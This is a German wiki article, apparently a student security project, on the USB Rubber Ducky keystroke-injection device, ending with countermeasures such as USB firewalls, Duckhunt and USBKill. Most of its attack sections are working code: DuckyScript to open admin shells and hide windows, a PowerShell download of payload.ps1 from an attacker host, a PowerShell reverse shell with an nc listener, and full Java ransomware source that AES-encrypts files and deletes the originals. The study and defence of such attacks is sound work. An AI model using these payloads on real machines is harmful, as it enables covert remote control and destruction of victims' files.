USB: Rubber Ducky

From
Jump to: navigation, search

Grundlagen

Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte. Die Scriptsprace, mit der sich die Tastenbefehle ausführen lassen, heißt Duckyscript. Das Script wird auf einer Micro-SD Karte auf dem Rubber Ducky im .bin Format gespeichert.

Der allgemeine Ablauf zum verwenden des Rubber Ducky kann wie folgt beschrieben werden:

  1. SD-Karte einstecken
  2. Ducky-Script encoden (.jar oder Website toolkit) zu .bin
  3. Payload (.bin) auf SD-Karte ablegen und SD-Karte in den Rubber Ducky stecken
  4. USB-Stick in Opfer-Rechner stecken
  5. Payload führt sich automatisch aus

Warum wird der Rubber Ducky jedoch vom PC als Tastatur (HID) erkannt? Wenn ein USB Gerät in ein PC gesteckt wird, kümmert sich der Host-Controller um das Handling des USB Sticks. Dieser sendet ein USB-Reset Request an das USB Gerät. Dem USB Gerät wird darauf die Adresse 0 zugewiesen. Danach holt sich der Host-Controller die benötigten Informationen vom USB Stick über den Device Descriptor der USB Gerätes. Er enthält Informationen über den Hersteller, wie groß der USB-Stick ist, mit welcher Spannung er betrieben werden muss usw. Jeder Device Descriptor besitzt mindestens ein Configuration Descriptor. Es kann immer nur ein Configuration Descriptor zur gleichen Zeit aktiv sein. Sie besitzen ein oder mehrere Interface Descriptoren, die u.a. Informationen beinhalten, um was es sich bei dem USB Gerät handelt. Der Wert bInterfaceProtocol enthält einen Hex Wert, der eindeutig auf die Geräteklasse weist (z.B. HID, Massenspeicher). Damit der Rubber Ducky als Massenspeicher und HID erkannt wird, besitzt der Configuration Descriptor im Rubber Ducky folglich zwei Interface Descriptoren, um als Massenspeicher und HID erkannt zu werden. Hat der Host-Controller die Informationen, weist er dem USB Gerät eine eindeutige Adresse zu und lädt die Treiber die zum Betrieb als HID, bzw. Massenspeicher notwendig sind.

Angriffsszenarien

Zu Beginn unserer Analyse des RubberDucky haben wir uns überlegt, in welchen abstrakten Szenarien ein solches Keystroke-Injection-Tool zum Einsatz kommen kann. Da ein Angreifer, um den RubberDucky einsetzen zu können auf irgendeine Weise an den Zielrechner gelangen muss, sind wir zu zwei grundlegenden Angreiferszenarien gekommen, die im folgenden kurz beschrieben werden.

Direkter Zugang

In diesem Szenario erhält der Angreifer direkten Zugang zu dem Zielrechner. Wir gehen davon aus, dass er nur eine kurze Zeitspanne für den Zugriff hat. Entweder der RubberDucky wird an eine unscheinbare Stelle angeschlossen (z.B. am hinteren Teil des Rechners) oder er wird nur für eine kurze Zeitspanne angeschlossen und wieder abgesteckt. Das Opfer des Angriffs wiederum sollte in diesem Szenario keinerlei Veränderungen sehen, nachdem der Rechner durch den Ducky manipuliert wurde.

In diesem Szenario kann man davon ausgehen, dass der Angreifer entweder bereits vor dem Angriff Informationen über den Zielrechner hat oder während des Angriffs Informationen wie das Betriebssystem des Rechners berücksichtigen kann.

Indirekter Zugang

Dieses Szenario nutzt einen Social Engineering Ansatz, um die schadvollen Aktionen an einem Zielrechner auszuführen: Hier wird versucht den Nutzer dazu zu bringen, den RubberDucky selbst an den Zielrechner anzuschließen. Dabei kann der Angreifer das Opfer persönlich motivieren oder hoffen, dass das Opfer aus Neugierde das emulierte Keyboard an den Zielrechner anschließt. Das Opfer wird dabei erwarten, dass sich nach kurzer Wartezeit ein Fenster mit den Daten des vermeintlichen USB-Storage-Device öffnet. Alle weiteren visuellen Aktionen, die in der Zeit ausgeführt werden könnten den Nutzer misstrauisch machen und das Opfer könnte durch eigene Aktionen am Hardware-Keyboard das Ausführen von schadvollen Aktionen verhindern.

Wir gehen davon aus, dass der Angreifer in diesem Szenario weniger Informationen hat, als im zuvor beschriebenem. So hat er möglicherweise nicht einmal Wissen über Betriebssystem oder Art des Zielrechners.

Shell starten

Nachdem nun grundlegende Angreiferszenarien definiert wurden, ergeben sich bei der Ausführung schadvollen Codes mittels RubberDucky einige Anforderungen, die sich durch Mangel an Informationen über das Zielsystem und die Erwartungen des Opfers ergeben. Im nachfolgenden Punkt sind die identifizierten Probleme aufgeführt und jeweils praktische Lösungsansätze gelistet. Als Leitmotiv für die weitere Analyse haben wir das Ziel definiert, mittels RubberDucky eine Shell zu starten und eine Aktion auszuführen, gewissermaßen als Proof-of-Concept für das Gefahrenpotential des Keystroke-Injection-Tools.

Anforderung: Betriebssystem ermitteln

Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt.

Lösungsansatz: Hotkeys

Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich.

Beispiel-Codes: inject1.bin

REM Code: open terminal on ubuntu-distros
DELAY 500
CTRL-ALT t
DELAY 50
ENTER


inject2.bin

REM Code: open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER


inject3.bin

REM Code: open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER

Lösungsansatz: Tastenkombinationen

Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware.

DELAY 10000
REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER
REM open terminal on ubuntu-distros
DELAY 500
REM ALT F2
CTRL-ALT t
DELAY 50
ENTER
REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER
DELAY 5000
ESC

Lösungsansatz: OS-Fingerprinting

Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln. Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt.

Anforderung: Schadscript ausführen

Im nächsten Schritt soll ein Script ausgeführt werden, dass eine komplexere Aktion ausführen kann. Dazu muss das Script auf den Zielrechner gelangen. Die folgenden Ansätze beschreiben mögliche Vorgehensweisen, um dies zu erreichen.

Lösungsansatz: Über DuckyScript ausführen

Eine einfache Möglichkeit wäre es, das Script mittels DuckyScript während des Angriffs zu schreiben. Dazu könnte beispielsweise in einer Kommandozeile das gesamte Script über den STRING-Befehl in eine neue Datei geschrieben werden und diese Datei daraufhin ad hoc kompiliert sowie ausgeführt werden.

Beispiel (in Shell):

STRING echo 'echo helloworld' > exploit.bin
ENTER
powershell.exe -File exploit.bin

Lösungsansatz: Zusätzlicher Mass-Storage

Eine weitere Lösung wäre es den RubberDucky neben dem USB-Deskriptor eines HID-/Keyboard-Device, auch einen Deskriptor als Mass-Storage-Device zuzuweisen. Dies erfordert zwar eine Erweiterung der Firmware, ist jedoch bereits als TwinDuck-Firmware realisiert worden und kann wie die DetourDuck-Firmware über die Software DuckyFlasher eingerichtet werden.

Nun kann ein Script direkt auf den Massenspeicher des RubberDucky abgelegt und über eine Kommandozeile ausgeführt werden. Dazu ist es nur notwendig dynamisch das richtige eingehängte Laufwerk zu erreichen und das Script auszuführen. Durch Environment-Variablen wie $USER unter Unix-Systemen ist das kein Problem. Einzig der Laufwerkbuchstabe des eingehängten Massenspeichers unter Windows erfordert zusätzliche Vorbereitungen. Zudem muss darauf geachtet werden, dass der Massenspeicher einen eindeutige Namen erhält, damit er nicht mit anderen Geräten auf dem Zielrechner verwechselt wird.

REM Beispiel für UNIX-Systeme (hier MacOS und Massenspeichername=DUCKYDRIVE)
STRING cd /Volumes/DUCKYDRIVE
REM Beispiel für UNIX-Systeme (hier Ubuntu und Massenspeichername=DUCKYDRIVE)
STRING cd /media/$USER/DUCKYDRIVE
REM Beispiel für Windows-Systeme (Massenspeichername=DUCKYDRIVE)
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)
STRING cd %DUCKYdrive%\


Lösungsansatz: Aus Internet laden

Es ist auch möglich eine Datei über einen Server bereit zu stellen und diese mittels Kommandozeile auf dem Zielrechner zu erhalten.

REM Datei mittels wget-Befehl in Terminal aus dem Internet laden
STRING wget http://[HostIP]:[port x]/payload.ps1
REM Datei mittels WIndows-Powershell aus dem Internet laden
STRING $client = new-object Net.WebClient
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)

Lösungsansatz: Nutzer motivieren Eine letzte von uns identifizierte Möglichkeit stellt wieder einen Social-Engineering-Ansatz dar. Sollte das Opfer aus Neugierde den RubberDucky selbst an den Zielrechner gesteckt haben, so könnte der Angreifer erwarten, dass der Nutzer auch Dateien, die sich auf dem Gerät befinden, anklicken wird. Dazu ist also wieder erforderlich, dass der RubberDucky zusätzlich als Massenspeicher vom Betriebssystem erkannt wird. Auch denkbar wäre eine Änderung der Firmware, sodass der Massenspeicher sich erst öffnen lässt, wenn der Nutzer sein Passwort eingegeben hat, welches dann wiederum im DuckyScript verwendet werden kann. Der Angreifer könnte hoffen, dass die Neugierde auch bei dem Öffnen des Massenspeichers keinen Halt macht.

Anforderung: Unauffällig bleiben

Diese Anforderung beinhaltet im Besonderen das Verwischen von Spuren durch das Verstecken oder Schließen graphischer Oberflächen. Je nach Szenario ist es wichtig entweder nach der erfolgreichen Ausführung von schadvollen Aktionen entsprechende Fenster zu schließen oder Aktionen direkt möglichst im Hintergrund auszuführen, sollte das Opfer während dessen am Zielrechner sein.

Lösungsansatz: Shell per Tastenkombinationen verstecken

Eine schnelle, aber wenig elegante Lösung ist es, im DuckyScript über beispielsweise die Pfeiltasten ein Fenster dessen Fokus möglicherweise noch gebraucht wird (z.B. eine Kommandozeile) aus dem sichtbaren Bereich des Desktops zu schieben, um weitere Aktionen im Fenster auszuführen und zusätzlich das Fenster zu verkleinern.

REM Beispiel mit einem Powershell-Window
ALT SPACE
STRING m
LEFTARROW
REPEAT 50
STRING [console]::WindowHeight=1
ENTER
STRING [console]::WindowWidth=1
ENTER

Lösungsansatz: Hidden Shell

Ein weiterer Ansatz setzt voraus, dass der Fokus des Fensters nicht benötigt wird. So kann beispielsweise über eine Kommandozeile ein Script ausgeführt werden und dieses Fenster zugleich als Hintergrundprozess weiter behandelt werden. Auch möglich wäre hier die Arbeit mit verschiedenen Desktops. So kann in Linux zu einem anderen Desktop gewechselt werden, dort die schadvollen Aktionen ausgeführt werden und wieder zum anfänglichen Desktop umgeschaltet werden.

REM Ein Powershell-Script kann über das folgende CMD-Kommando im Hintergrund ausgeführt werden
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1

Lösungsansatz: Kleine Delays verwenden

Ein letzter Ansatz für das möglichst unauffällige Ausführen von DuckyScripts dreht sich um das Timing. Der Befehl DELAY spielt dabei eine maßgebliche Rolle. So können kleine DuckyScripte mit minimalen Delays in weniger als einer Sekunde ausgeführt werden und damit möglicherweise nicht ersichtlich für das Opfer sein, selbst wenn dieses am Zielrechner sitzt. Ein Nutzer der einen unbekannten USB-Stick ohne Bedenken an dessen Computer steckt, wird möglicherweise nicht stutzig werden, wenn für eine Sekunde ein Kommandozeilenfenster geöffnet und wieder geschlossen wird.

Beispiel: DELAY 50

Anforderung: Unterschiedliche Sicherheitsfeatures umgehen

Natürlich schränken ins Besondere mögliche Sicherheitsfunktionen die Ausführung von schadvollen Aktionen ein. Wohl gemerkt ist jedoch die elementare Vulnerabilität, des emulierten Keyboards und damit beliebige Aktionen die über das Keyboard möglich sind, in den allermeisten Fällen vorhanden. Diese Aktionen sind lediglich durch Sicherheitsfunktionen wie Virenscanner und Firewalls limitiert. Mechanismen die manchmal ebenfalls durch Tastenschläge umgehbar sind.

Lösungsansatz: IDS/Firewalls umgehen

Dieser Punkt adressiert eher eine wohlüberlegte Kombination verschiedener oben angesprochener Ansätze. So ist es denkbar, dass das Laden bestimmter Dateitypen durch eine Firewall blockiert wird. Sollte beispielsweise das Laden von Dateien über das Internet unabdingbar sein, so wären Möglichkeiten, die einen offensichtlichen Download verschleiern nötig (beispielsweise die Einrichtung einer Tunnelverbindung).

Lösungsansatz: Privileg-Einschränkungen umgehen

Eine weitere relevante Sicherheitsfunktion, die auf jedem Betriebssystem eine Rolle spielt, ist die Einschränkung der möglichen Aktionen durch Privilege. Natürlich ist es das Ziel möglichst viele Privilegien als Nutzer zu erlangen. Auch hier gibt es verschiedene Möglichkeiten über Tastenkombinationen und Kommandozeilen-Befehle zusätzliche Berechtigungen zu erhalten.

REM Windows-Beispiel: UAC-Bypass (cmd.exe mit Administrator-Rechten)
CTRL ESC
DELAY 100
STRING cmd
DELAY 100
CTRL-SHIFT ENTER
DELAY 100
LEFTARROW
ENTER

Anwendungsbeispiele

Reverse Shell

Ein Anwendungsfall der sehr mächtig ist, öffnet eine Shell des Zielrechners auf einem Gerät des Angreifers über eine Netzwerkverbindung. In unserem hier dargelegten Anwendungsbeispiel, stellt der Angreifer ein Resource-Server mit einem Powershell-Script bereit und horcht mit einem anderen Server auf einem bestimmten Port.

Der RubberDucky mit der Standard-Firmware kann nun am Zielrechner eine Powershell starten, den Powershell-Payload vom Resource-Server laden und das Powershell-Script ausführen und dabei das Fenster verstecken. Die Powershell baut nun eine TCP-Verbindung zum horchenden Server des Angreifers auf, sodass der Angreifer Eingaben auf einer Shell tätigen kann und die Ausgaben erhält.

Resource-Server (Bspw. mit Ubuntu)

sudo php -S 0.0.0.0:[Port x] -t ~/reverseShell/

Powershell-Script (payload.ps1)

$sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

ReverseShell-Server (Bspw. mit Ubuntu)

nc -l -p [Port y]

DuckyScript

REM Windows: cmd.exe mit Admin-Rechten und darauf folgend Powershell öffnen
DELAY 500
CTRL ESC
DELAY 100
STRING cmd
DELAY 100
CTRL-SHIFT ENTER
DELAY 100
LEFTARROW
ENTER
DELAY 100
STRING powershell
ENTER
DELAY 500

REM Shell-Script von Server laden
STRING $client = new-object Net.WebClient
ENTER
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)
ENTER
 
REM Script ausführen bzw. Shell starten
STRING set-executionpolicy remotesigned
ENTER
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1
ENTER

Ransomware

Bei dem Anwendungsbeispiel wird ein Programm vom Rubber Ducky gestartet, wenn dieser in ein PC eingesteckt wird. In diesem Fall wird versucht, eine .jar Datei auszuführen. Die Vorraussentzung dafür ist, das auf dem Opfer-PC eine JRE installiert ist. Um die Datei auszuführen, muss zu erst der Laufwerkbuchstabe ermittelt werden, unter dem der Rubber Ducky eingehangen wurde. Dazu wird ein Kommandozeilen-Fenster mit Admin-Rechten geöffnet. Folgende Befehle werden eingegeben, um den Laufwerkbuchstaben zu ermitteln, und das .jar File auszuführen:

for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%A)

javaw -jar %DUCKYdrive%\RubberDucky.jar

Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue. Für Testzwecke, wurde ein "Schalter" (boolean encrypt) eingebaut, mit den man seine Dateien im Ordner wieder entschlüsseln kann.

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.security.Key;
import java.util.Arrays;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.swing.JOptionPane;

/**
 * 
 */

/**
 * @author anien
 *
 */
public class RubberDucky extends Thread {

	/**
	 * @param args
	 */
	private static String OS = System.getProperty("os.name").toLowerCase();
	private static final String ALGO = "AES";
	private static final byte[] keyValue = new byte[] {'D', 'A', 'S', 'I', 'S', 'T', 'D', 'E', 'R', 'E', 'I', 'N', 'E', 'K', 'E', 'Y'};
	private static String[] listOfExt = {".pdf", ".png"};
	private static String extension = ".crypt";
	private String startPath;
	private boolean encrypt = true;
	
	public RubberDucky(String startPath) {
		this.startPath = startPath;
	}
	
	public static void main(String[] args) {
		if (isWindows()) {
			new Thread(new RubberDucky("/testing")).start();
			JOptionPane.showMessageDialog(null, "Bamboozled Again!");
		} else if (isMac()) {
			new Thread(new RubberDucky("/testing")).start();
			JOptionPane.showMessageDialog(null, "Bamboozled Again!");
		} else if (isLinux()) {
			new Thread(new RubberDucky("/testing")).start();
			JOptionPane.showMessageDialog(null, "Bamboozled Again!");
		}
	}
	
	public void run() {
		File inputFile;
		File outputFile;
		File folder = new File(startPath);
		File[] listOfFiles = folder.listFiles();
		
		for (File f: listOfFiles) {
			if (f.isFile()) {
				if (Arrays.stream(listOfExt).parallel().anyMatch(getFileExt(f) :: contains) && encrypt) {
					try {
						inputFile = new File(f.getPath());
						outputFile = new File(f.getPath() + extension);
						doCrypto(inputFile, outputFile);
						f.delete();	
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
				if (f.toString().endsWith(extension) && !encrypt) {
					try {
						inputFile = new File(f.getPath());
						outputFile = new File(f.getPath().substring(0, f.toString().length() - 6));
						doCrypto(inputFile, outputFile);
						f.delete();	
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
			} else if (f.isDirectory()) {
				new Thread(new RubberDucky(f.getPath())).start();
			}
		}
		
	}

	private void doCrypto(File inputFile, File outputFile) {
		try {
			Key secretKey = generateKey();
			Cipher cipher = Cipher.getInstance(ALGO);
			if (encrypt) {
				cipher.init(Cipher.ENCRYPT_MODE, secretKey);
			} else {
				cipher.init(Cipher.DECRYPT_MODE, secretKey);
			}
			FileInputStream inputStream = new FileInputStream(inputFile);
			byte[] inputBytes = new byte[(int) inputFile.length()];
			inputStream.read(inputBytes);
			byte[] outputBytes = cipher.doFinal(inputBytes);
			FileOutputStream outputStream = new FileOutputStream(outputFile);
			outputStream.write(outputBytes);
			inputStream.close();
			outputStream.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
		
	}

	private static Key generateKey() {
		Key key = new SecretKeySpec(keyValue, ALGO);
		return key;
	}

	private static String getFileExt(File file) {
		String fileName = file.getName();
		
		if (fileName.lastIndexOf(".") != -1 && fileName.lastIndexOf(".") != 0) {
			return fileName.substring(fileName.lastIndexOf("."));
		}
		else {
			return "";
		}
	}
	
	public static boolean isWindows() {
		return (OS.indexOf("win") >= 0);
	}
	
	public static boolean isMac() {
		return (OS.indexOf("mac") >= 0);
	}
	
	public static boolean isLinux() {
		return (OS.indexOf("nux") >= 0 || OS.indexOf("nix") >= 0 || OS.indexOf("aix") >= 0);
	}

}

Gegenmaßnahmen

Auch wenn es Maßnahmen gibt, um Angriffe mit HID-Emulator Hardware zu verhindern, bleibt die elementare maßgebliche Grundvulnerabilität bestehen. Denn der mit als HID-Geräte erkannter Hardware setzt in der derzeitigen Umsetzung des USB-Protokolls vollständiges Vertrauen dieses Geräts voraus. Die Prämisse, dass die Hardware-Mensch-Computer-Schnittstelle den Input des Nutzers überträgt und dem Nutzer vertraut wird, ermöglicht diese grobe Vulnerabilität. So scheint es keine Möglichkeit der Authentifizierung im USB-Protokoll bzw. -Handshake für HID-Geräte zu geben. Daher ist es möglich jedes mögliche USB-Geräte durch den entsprechenden Device-Deskriptor zu emulieren. Die folgenden Maßnahmen setzen durch die Überwachung von USB-Input Funktionen um, welche die erfolgreiche Ausführung von Werkzeugen wie Keystroke-Injection-Tools verhindern soll.

Hardware-Maßnahmen

Im folgenden werden Maßnahmen vorgestellt, welche den Einsatz oder die Manipulation von Hardware als Lösungsansatz verfolgen.

USB-Ports physisch schließen

Diese Variante ist recht offensichtlich und wenig elegant, erfüllt jedoch ihren Zweck. Die physischen USB-Schnittstellen können durch Material verschlossen oder gar vom Rechner entfernt werden. Diese Maßnahme setzt voraus, dass der Nutzer seine USB-Ports nicht nutzt oder selten nutzt, da die Versiegelung nicht ohne weiteres aufgehoben werden darf.

USB-Firewall - USG

Die Hardware USG ist fungiert als physische Firewall indem sie zwischen den USB-Port und dem jeweiligen USB-Gerät gesteckt wird. So ist es möglich den gesamten Datenverkehr zwischen USB-Gerät und Host Controller Driver zu überwachen und im Besonderen den Input des USB-Geräts unterbrechen, sollte die USB-Firewall etwas Verdächtiges bemerken.
Der Hersteller des USG verspricht damit eine Lösung für mehrere USB-Geräte-Exploits:

  1. Schutz vor schädlichem Input an den USB Treiber
  2. Schutz vor versteckter schädlicher Funktionalität, zB Unterbindung eines versteckten Gerätes oder der aktiven Veränderung der USB-Deskriptor-Parameter, um sich als neues Gerät auszugeben
  3. Schutz vor schädlicher Funktionalität die direkt von Gerät ausgeführt wird. Zum Beispiel ein HID-Keyboard, dass sich unerwartet verhält (durch Erhöhung der durchschnittlichen Tastenschläge).

Damit erschwert das Gerät die Emulation verschiedener USB-Geräte. Der Einsatz des RubberDuckys würde jedoch ausschließlich durch die Geschwindigkeit der Tastenschläge erkannt werden. Ein Parameter, der durch wohl überlegte DELAY-Kommandos umgangen werden kann. Zudem wäre es interessant herauszufinden, ob es möglich ist über den USB-Handshake auch die Existienz einer USB-Firewall zu erkennen. So könnte eine angepasste Firmware auch diese Sicherheitsfunktion mit in die Ausführung eines DuckyScripts einbeziehen.

Software-Maßnahmen

Die nachfolgenden Softwarelösungen nutzen ebenfalls die Strategie, USB-Input zu überwachen. Dabei reicht die Voraussetzung und auf die Erfüllung dieser folgenden Sicherheitsaktion von der Detektion durch die Geschwindigkeit der Tastenschläge und der Aktion der reinen Protokollierung des Inputs bis hin zur Detektion durch Einstecken eines USB-Geräts und der Aktion den Rechner sofort herunterzufahren. Die folgenden Softwareansätze sind entsprechend von wenig bis stark restriktiv gegliedert.

Duckhunt

Die Software nutzt Keystroke-Logging um die durchschnittliche Keystroke-Geschwindigkeit zu protokollieren. Wenn sich die durchschnittliche Geschwindigkeit (die je nach Nutzer anders ist) signifikant verändert, wird der Input des Geräts blockiert. Nun kann zwischen verschiedenen Vorgehensweisen gewählt werden, sollte der Fall eines Verdachts eintreten:

  1. Der Input des USB-Geräts wird aufgezeichnet.
  2. Keyboard-Input wird blockiert
  3. Ein Dialog wird aufgerufen in dem der Nutzer ein Passwort eingeben muss, um weitere Eingaben machen zu können
  4. Es wird nur jeder 5.-7. Tastenschlag blockiert, um die Attacke untauglich zu machen

Beamgun

Wenn ein USB-Gerät von der Software erkannt wird, dass nicht in einer Whitelist steht, können folgende Maßnahmen von dem Tool ausgeführt werden:

  1. FocusStealing - Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten
  2. Lock Computer - Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird

USBKill

Dieses Werkzeug führt ebenfalls Aktionen aus wenn ein USB-Gerät von der Software erkannt wird. Auch hier ist Whitlisting möglich. Die Maßnahmen sind jedoch deutlich radikaler, da das Tool gegen Forensik-Werkzeuge (z.B. Mouse Jiggler) entwickelt wurde. So können folgende Maßnahmen erfolgen:

  1. Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren
  2. Es werden bestimmte Dateien oder alle Dateien auf dem Gerät gelöscht und daraufhin der PC heruntergefahren.

Group Policies

Es ist bestimmter HID-Geräte mittels Group Policies zu verbieten.

USB deaktivieren

Inaktive USB-Ports können über das Betriebssystem dauerhaft deaktiviert werden.


Ausblick

Der RubberDucky nutzt nur wenig des gesamte Potential der erwähnten USB-Vulnerabilität. Zum einen ist die Firmware an das Gerät gebunden, zum anderen ist die Scriptsprache nicht besonders mächtig, da sie ausschließlich Keystrokes ausführt, ohne dabei beispielsweise Bedingungen zuzulassen. Außerdem beschränkt sich die Vulnerabilität nicht auf HID-Keyboards. Auch andere USB-Hardware ist einfach zu emulieren und genießt vollstes Vertrauen des Betriebssystems. Daher soll im folgenden anhand von zwei ebenfalls erhältlichen Beispielen gezeigt werden, wie die USB-Vulnerabilität weiter genutzt werden kann.

Bash Bunny

Das Bash Bunny ist ebenfalls von der Firma hak5 produziert und kann als Kombination der erwähnten USB-Vulnerabilitäten aufgefasst werden. So kann das Werkzeug verschiedene USB-Geräte in Kombination emulieren (z.B. Ethernet, Flash-Storage und Keyboard). Außerdem enthält das Bash Bunny eine vollständige Linux-Box mit Shell-Zugang über eine serielle Konsole. So können auch Pentesting-Tools über die Box genutzt werden.

BadUSB

Für einen BadUSB ist keine spezielle Hardware wie beim Rubber Ducky notwendig. Jeder USB-Stick, mit einem Controller von der Firma Phison ist prinzipiell davon betroffen. Karsten Nohl stellte auf der BlackHat 2014 eine Methode vor, wie die Firmware der USB-Geräte ohne Zusatz von Hardware verändert werden kann. Er hat es geschafft eine eigene Firmware auf ein USB Stick zu spielen, der dann beim einstecken, ähnlich wie der Rubber Ducky, zusätzliche Befehle ausführt. Dadurch ist es möglich, Viren in das System zu schleusen und weitere USB Sticks "anzustecken".

Quellen

https://www.hak5.org

https://github.com/hak5darren/USB-Rubber-Ducky/wiki

https://github.com/samratashok/nishang

https://github.com/robertfisk/USG/wiki

https://www.heise.de/ct/ausgabe/2015-5-Angriffe-mit-dem-USB-Rubber-Ducky-2536847.html

https://ducktoolkit.com/

http://konukoii.com/blog/2016/10/26/duckhunting-stopping-automated-keystroke-injection-attacks/

https://github.com/hephaest0s/usbkill

https://github.com/JLospinoso/beamgun